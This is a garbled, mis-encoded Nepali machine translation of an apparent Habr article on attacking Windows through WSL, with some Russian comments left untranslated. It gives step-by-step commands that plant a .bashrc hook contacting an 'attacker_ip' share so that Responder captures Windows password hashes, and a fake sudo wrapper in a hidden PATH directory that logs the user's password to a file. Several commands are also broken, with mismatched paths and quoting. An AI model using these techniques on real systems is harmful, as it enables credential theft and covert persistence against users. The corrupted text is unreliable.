рд╡рд┐рдиреНрдбреЛрдЬрдорд╛ рд▓рд┐рдирдХреНрд╕ рдЕрдкрд░реЗрдЯрд┐рдЩ рд╕рд┐рд╕реНрдЯрдордмрд╛рдЯ рдЖрдХреНрд░рдордгрдХрд╛ рдЙрджрд╛рд╣рд░рдгрд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рдЕрдиреБрд╕рдиреНрдзрд╛рди рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛред рд╕рдЮреНрдЬрд╛рд▓ рд╕реНрдЯреНрдпрд╛рдХрдХрд╛ рд╕реБрд╡рд┐рдзрд╛рд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдпреЛ, рдЕрд░реНрдерд╛рддреН, рд╡рд┐рднрд┐рдиреНрди рд╕реНрд░реЛрддрд╣рд░реВрдорд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рдВрдпрдиреНрддреНрд░рд╣рд░реВред

рдкрд░рд┐рджреГрд╢реНрдп:

  • Windows рдкреНрд░рдгрд╛рд▓реАрдорд╛ рдУрдЧрдЯреЗрдХреЛ рдкреЛрд░реНрдЯрдорд╛ рдкрд╣реБрдБрдЪ рдЦреЛрд▓реНрджреИ
  • рдЙрдЪрд┐рдд рдЕрдзрд┐рдХрд╛рд░ рдмрд┐рдирд╛ рдкреЛрд░реНрдЯ рдЦреЛрд▓реНрджреИ
  • рд╡рд┐рдиреНрдбреЛрдЬ рдЕрдкрд░реЗрдЯрд┐рдЩ рд╕рд┐рд╕реНрдЯрдордорд╛ рдПрд▓реНрдл рдлрд╛рдЗрд▓ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рд░рд┐рднрд░реНрд╕ рд╢реЗрд▓ рдЪрд▓рд╛рдЙрдБрджреИред

3. WSL рдЙрдкрдкреНрд░рдгрд╛рд▓реА рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рдорд╛рд▓рд┐рд╕рд┐рдпрд╕ рд╕рдлреНрдЯрд╡реЗрдпрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛рд╣рд░реВрдХреЛ рд╕реБрд░реБрд╡рд╛рдд рд▓реБрдХрд╛рдЙрдБрджреИред

рдЕрдиреБрд╕рдиреНрдзрд╛рди рдПрдХ рд╕рд╛рдзрд╛рд░рдг рддрдереНрдпрдорд╛ рдЖрдзрд╛рд░рд┐рдд рдерд┐рдпреЛ - рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрдкреНрд░рдгрд╛рд▓реАрд╣рд░реВрд▓реЗ WSL 1 рдХреЛ рдорд╛рдорд▓рд╛рдорд╛ рдЕрдкрд░реЗрдЯрд┐рдЩ рд╕рд┐рд╕реНрдЯрдордмрд╛рдЯ рд╡реИрдз рдкреНрд░рджрд╛рдпрдХ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рдХрд╛рдо рдЧрд░реНрдиреЗ рдЕрд░реНрдХреЛ рдХрд░реНрдиреЗрд▓рдорд╛ рдШрдЯрдирд╛рд╣рд░реВ рд░реЛрдХреНрди рд╕рдХреНрджреИрдиред WSL 2 рдХреЛ рдорд╛рдорд▓рд╛рдорд╛, рдШрдЯрдирд╛рд╣рд░реВ рд╣реЗрд░реНрдиреЗ рдХреБрдиреИ рддрд░рд┐рдХрд╛ рдЫреИрдиред рд╣рд▓реНрдХрд╛ рднрд░реНрдЪреБрдЕрд▓ рдореЗрд╕рд┐рди рднрд┐рддреНрд░ рдЫреБрдЯреНрдЯреИ рдХрд░реНрдиреЗрд▓рдорд╛ред

рдкрд░рд┐рджреГрд╢реНрдп:

1) рдкреНрд░рдгрд╛рд▓реАрдорд╛ рд░рд┐рдореЛрдЯ рдкрд╣реБрдБрдЪрдХреЛ рд▓рд╛рдЧрд┐ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╕реБрд░реБ рдЧрд░реНрдиреБрд╣реЛрд╕реН рд░ рд▓рдЧ рдЧрд░рд┐рдПрдХрд╛ рдШрдЯрдирд╛рд╣рд░реВ рд╣реЗрд░реНрдиреБрд╣реЛрд╕реНред

WSL 1 рдкреНрд░рдпреЛрдЧрд╣рд░реВ: рд╣реНрдпрд╛рд╕ рдЕрд╡рд░реЛрдз (рд╡рд┐рдиреНрдбреЛрдЬ)

рдЕрдиреНрддрддрдГ рд╣рд╛рдореА рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рднрд╛рдЧрдорд╛ рдкреБрдЧреНрдпреМрдВред рдкрд╣рд┐рд▓реЗ, рддрдкрд╛рдИрдВрд▓реЗ рдкрд░реАрдХреНрд╖рдг рд╡рд╛рддрд╛рд╡рд░рдг рд╕реЗрдЯ рдЕрдк рдЧрд░реНрди рдЖрд╡рд╢реНрдпрдХ рдЫред рд╕рдмреИ рдкреНрд░рдпреЛрдЧрд╣рд░реВ Windows 10 2004 рд╕реНрдерд╛рдкрдирд╛ рднрдПрдХреЛ рдмреЗрдиреНрдЪрдорд╛ рдЧрд░рд┐рдиреЗрдЫред Ubuntu 18.04 рдЫрд╡рд┐ WSL рдХреЛ рд▓рд╛рдЧрд┐ рдЕрдкрд░реЗрдЯрд┐рдЩ рд╕рд┐рд╕реНрдЯрдо рдЫрд╡рд┐рдХреЛ рд░реВрдкрдорд╛ рдЫрдиреЛрдЯ рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛред рдЫрд╡рд┐ рдЕрдирд┐рдпрдорд┐рдд рд░реВрдкрдорд╛ рдЫрдиреЛрдЯ рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛ, рд░ рдХреБрдиреИ рдкрдирд┐ рдЕрдиреНрдп рд╕рдорд╛рди рдХрд╛рдо рдЧрд░реНрдиреЗрдЫред рд╕реНрдЯреНрдпрд╛рдиреНрдб рд╕реНрдерд╛рдкрдирд╛ рдЧрд░реНрди рдЖрджреЗрд╢рд╣рд░реВ:

рддрдкрд╛рдИрдВрд▓реЗ рдкрд╣рд┐рд▓реЗ рд╕реБрд░реБ рдЧрд░реНрдиреБрдкрд░реНрдЫ powershell.exe рдкреНрд░рд╢рд╛рд╕рдХрдХреЛ рд░реВрдкрдорд╛ред

WSL 1 рдХреЛ рд▓рд╛рдЧреА рддрдкрд╛рдИрд▓реЗ рдЖрджреЗрд╢рд╣рд░реВ рдЪрд▓рд╛рдЙрди рдЖрд╡рд╢реНрдпрдХ рдЫ:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #╨Т╨║╨╗╤О╤З╨╕╤В╤М ╤Д╤Г╨╜╨║╤Ж╨╕╤О WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #╨Ч╨░╨│╤А╤Г╨╖╨╕╤В╤М ╨╛╨▒╤А╨░╨╖ Linux ╨╕╨╖ ╨╝╨░╨│╨░╨╖╨╕╨╜╨░ Microsoft

  • Ubuntu.appx install тАФroot #╨г╤Б╤В╨░╨╜╨╛╨▓╨╕╨╝ ╨╛╨▒╤А╨░╨╖
  • ╨Т╨╛╨╖╨╝╨╛╨╢╨╜╨╛, ╨┐╤А╨╕╨┤╨╡╤В╤Б╤П ╨┐╤А╨╛╨║╨╗╨╕╨║╨░╤В╤М ╨┐╤А╨╛╤Ж╨╡╤Б╤Б ╨╜╨░╤Б╤В╤А╨╛╨╣╨║╨╕ ╨╕ ╤Б╨╛╨╖╨┤╨░╤В╤М ╨╜╨╛╨▓╨╛╨│╨╛ ╨┐╨╛╨╗╤М╨╖╨╛╨▓╨░╤В╨╡╨╗╤П, ╨║╨╛╤В╨╛╤А╤Л╨╣ ╨▒╤Г╨┤╨╡╤В ╨╕╨╝╨╡╤В╤М ╨╝╨╡╨╜╤М╤И╨╡ ╨┐╤А╨░╨▓, ╤З╨╡╨╝ root. ╨Ф╨╗╤П ╨╜╨░╤И╨╕╤Е ╤В╨╡╤Б╤В╨╛╨▓ ╤Н╤В╨╛ ╨▒╤Г╨┤╨╡╤В ╨╛╨▒╤Л╤З╨╜╤Л╨╣ ╨┐╨╛╨╗╤М╨╖╨╛╨▓╨░╤В╨╡╨╗╤М sam.
  • Restart-Computer #╨Я╨╡╤А╨╡╨╖╨░╨│╤А╤Г╨╖╨╕╨╝
  • рд╕реНрдЯреНрдпрд╛рдиреНрдб рд░рд┐рдмреБрдЯ рдЧрд░реЗрдкрдЫрд┐, рддрдкрд╛рдЗрдБ bash рдЖрджреЗрд╢ рдХрд▓ рдЧрд░реНрди рд╕рдХреНрдиреБрд╣реБрдиреНрдЫред рдпрджрд┐ рд╕рдмреИ рдХреБрд░рд╛ рдареАрдХрд╕рдБрдЧ рдХрд╛рдо рдЧрд░реНрдпреЛ рднрдиреЗ, рддрдкрд╛рдЗрдБ рд╡рд┐рдиреНрдбреЛрдЬ рдХрдиреНрд╕реЛрд▓рдорд╛ рдпреЛ рдЬрд╕реНрддреИ рдЖрдЙрдЯрдкреБрдЯ рджреЗрдЦреНрдиреБрд╣реБрдиреЗрдЫ:

    WSL рдкреНрд░рдпреЛрдЧрд╣рд░реВред рднрд╛рдЧ 1

    рд╣рд╛рдореА рдХрд╛рд▓реА рд▓рд┐рдирдХреНрд╕ рд╡рд┐рддрд░рдгрд▓рд╛рдИ рдЖрдХреНрд░рдордгрдХрд╛рд░реАрдХреЛ рдореЗрд╕рд┐рдирдХреЛ рд░реВрдкрдорд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдиреЗрдЫреМрдВ; рд╕рдмреИ рдореЗрд╕рд┐рдирд╣рд░реВ рдПрдЙрдЯреИ рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХрдорд╛ рд╣реБрдиреБрдкрд░реНрдЫред

    рдорд╛рдиреМрдВ рд╣рд╛рдореАрд╕рдБрдЧ рд╡рд┐рдиреНрдбреЛрдЬ рдореЗрд╕рд┐рдирдорд╛ WSL тАЛтАЛрдорд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░рд░рд╣рд┐рдд рдкрд╣реБрдБрдЪ рдЫред рд▓рд┐рдирдХреНрд╕рдмрд╛рдЯ рдХрдорд╛рдгреНрдб рдХрд▓ рдЧрд░реЗрд░ рд▓рд┐рдирдХреНрд╕ рдЕрдкрд░реЗрдЯрд┐рдЩ рд╕рд┐рд╕реНрдЯрдордорд╛ рдЖрдХреНрд░рдордг рдЧрд░реНрдиреЗ рдкреНрд░рдпрд╛рд╕ рдЧрд░реМрдВред рдЖрдХреНрд░рдордг рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрди, рд╣рд╛рдореА рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдЕрдЯреЛрд░рди рдкреНрд░рд╡рд┐рдзрд┐ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдиреЗрдЫреМрдВ - рд╣рд╛рдореА рд▓рд┐рдирдХреНрд╕ рд╡рд╛рддрд╛рд╡рд░рдгрдорд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрдирдХреЛ рд▓рд╛рдЧрд┐ рд╣рд╛рдореНрд░реЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдердкреНрдиреЗрдЫреМрдВред рдпреЛ рдЧрд░реНрдирдХреЛ рд▓рд╛рдЧрд┐ рддрдкрд╛рдИрдВрд▓реЗ рдлрд╛рдЗрд▓ рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрди рдЖрд╡рд╢реНрдпрдХ рдЫ .bashrc.

    WSL рдХреЛ рд╕рд╛рде рдореЗрд╕рд┐рдирдорд╛ рд╣рд╛рдореА рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрдЫреМрдВ:

    	1. bash
    	2. ╨Я╨╡╤А╨╡╤Е╨╛╨┤╨╕╨╝ ╨▓ ╨┤╨╛╨╝╨░╤И╨╜╤О╤О ╨┤╨╕╤А╨╡╨║╤В╨╛╤А╨╕╤О ╨┐╨╛╨╗╤М╨╖╨╛╨▓╨░╤В╨╡╨╗╤П: cd /home/sam/
    	2. echo  ┬л/home/sam/.attack.sh┬╗ >> .bashrc
    	3. echo ┬лicalcs.exe ┬╗ \\\\attacker_ip\\shareName\\┬╗ > /dev/null 2>&1┬╗ >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    рдХрд╛рд▓реА рд▓рд┐рдирдХреНрд╕ рдореЗрд╕рд┐рдирдорд╛ рд╣рд╛рдореА рдЪрд▓рд╛рдЙрдБрдЫреМрдВ:

    1. Responder -I eth0 -rdvw

    рд╡рд┐рдиреНрдбреЛрдЬ рдореЗрд╕рд┐рдирдорд╛, рдмреНрдпрд╛рд╕ рд╕реБрд░реБ рдЧрд░реМрдВред

    рд╣рд╛рдореА рдХрд╛рд▓реА рд▓рд┐рдирдХреНрд╕ рдореЗрд╕рд┐рдирдорд╛ рдирддрд┐рдЬрд╛рдХреЛ рд▓рд╛рдЧрд┐ рдкрд░реНрдЦрд┐рд░рд╣реЗрдХрд╛ рдЫреМрдВ:

    WSL рдкреНрд░рдпреЛрдЧрд╣рд░реВред рднрд╛рдЧ 1

    рдпрд╕рд░реА, рд╣рд╛рдореАрд▓реЗ рд▓рд┐рдирдХреНрд╕ рдкреНрд░рдгрд╛рд▓реАрдорд╛ рдЖрджреЗрд╢ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реЗрд░ WSL рдЙрдкрдкреНрд░рдгрд╛рд▓реА рдорд╛рд░реНрдлрдд Windows рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛ рд╣реНрдпрд╛рд╕рд╣рд░реВ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрдпреМрдВред

    WSL 1 рдкреНрд░рдпреЛрдЧрд╣рд░реВ: рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрджреИ (Linux OS)

    рдЕрд░реНрдХреЛ рдПрдЙрдЯрд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░реМрдВред рдпрд╕ рдЬрд╛рдБрдЪрдХреЛ рдХреНрд░рдордорд╛ рд╣рд╛рдореА рдлрд╛рдЗрд▓рдорд╛ рдердкреНрдиреЗрдЫреМрдВ .bashrc рд▓рд┐рдирдХреНрд╕ рдЕрдкрд░реЗрдЯрд┐рдЩ рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рдзреЗрд░реИ рдЖрджреЗрд╢рд╣рд░реВред

    рдмреНрдпрд╛рд╕ рд╕реБрд░реБ рдЧрд░реМрдВ рд░ рдЖрджреЗрд╢рд╣рд░реВ рдкреНрд░рд╡рд┐рд╖реНрдЯ рдЧрд░реМрдВ:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt┬╗ >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    рдЖрдХреНрд░рдордг рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдкреВрд░рд╛ рдЧрд░реНрди, рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛ рд╕рд╛рдорд▓реЗ рд▓рд┐рдирдХреНрд╕ рдЯрд░реНрдорд┐рдирд▓рдорд╛ sudo рдХрд▓ рдЧрд░реНрди рдЖрд╡рд╢реНрдпрдХ рдЫред рдпрд╕ рдкрдЫрд┐, рд▓рд┐рдирдХреНрд╕ рдУрдПрд╕ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдлрд╛рдЗрд▓рдорд╛ рд╣реБрдиреЗрдЫ pass.txt:

    WSL рдкреНрд░рдпреЛрдЧрд╣рд░реВред рднрд╛рдЧ 1

    рдЖрдХреНрд░рдордгрдХреЛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рд╕реИрджреНрдзрд╛рдиреНрддрд┐рдХ рдЬрд╛рдирдХрд╛рд░реАрдХреЛ рд▓рд╛рдЧрд┐ рдорд╛рддреНрд░ рджрд┐рдЗрдПрдХреЛ рдерд┐рдпреЛред

    рд▓реЗрдЦрдХреЛ рдЕрд░реНрдХреЛ рднрд╛рдЧрд▓реЗ 9P рдкреНрд░реЛрдЯреЛрдХрд▓рдХреЛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрдирдХреЛ рд╡рд░реНрдгрди рдЧрд░реНрдиреЗрдЫ, рдпреЛ рдкреНрд░реЛрдЯреЛрдХрд▓рдХреЛ рд▓рд╛рдЧрд┐ рд╕реНрдХреНрдпрд╛рдирд░рдХреЛ рд╕рд┐рд░реНрдЬрдирд╛рд▓рд╛рдИ рд╡рд┐рдЪрд╛рд░ рдЧрд░реНрдиреБрд╣реЛрд╕реН, рд░ рдпрд╕рд▓рд╛рдИ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рдЖрдХреНрд░рдордг рдкрдирд┐ рдЧрд░реНрдиреБрд╣реЛрд╕реНред

    рдкреНрд░рдпреЛрдЧ рд╕рд╛рд╣рд┐рддреНрдп рдХреЛ рд╕реВрдЪреА

    WSL рдкреНрд░рдпреЛрдЧрд╣рд░реВред рднрд╛рдЧ 1

    рдердк рдкрдвреНрдиреБрд╣реЛрд╕реН

    рд╕реНрд░реЛрдд: www.habr.com

    рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдердкреНрди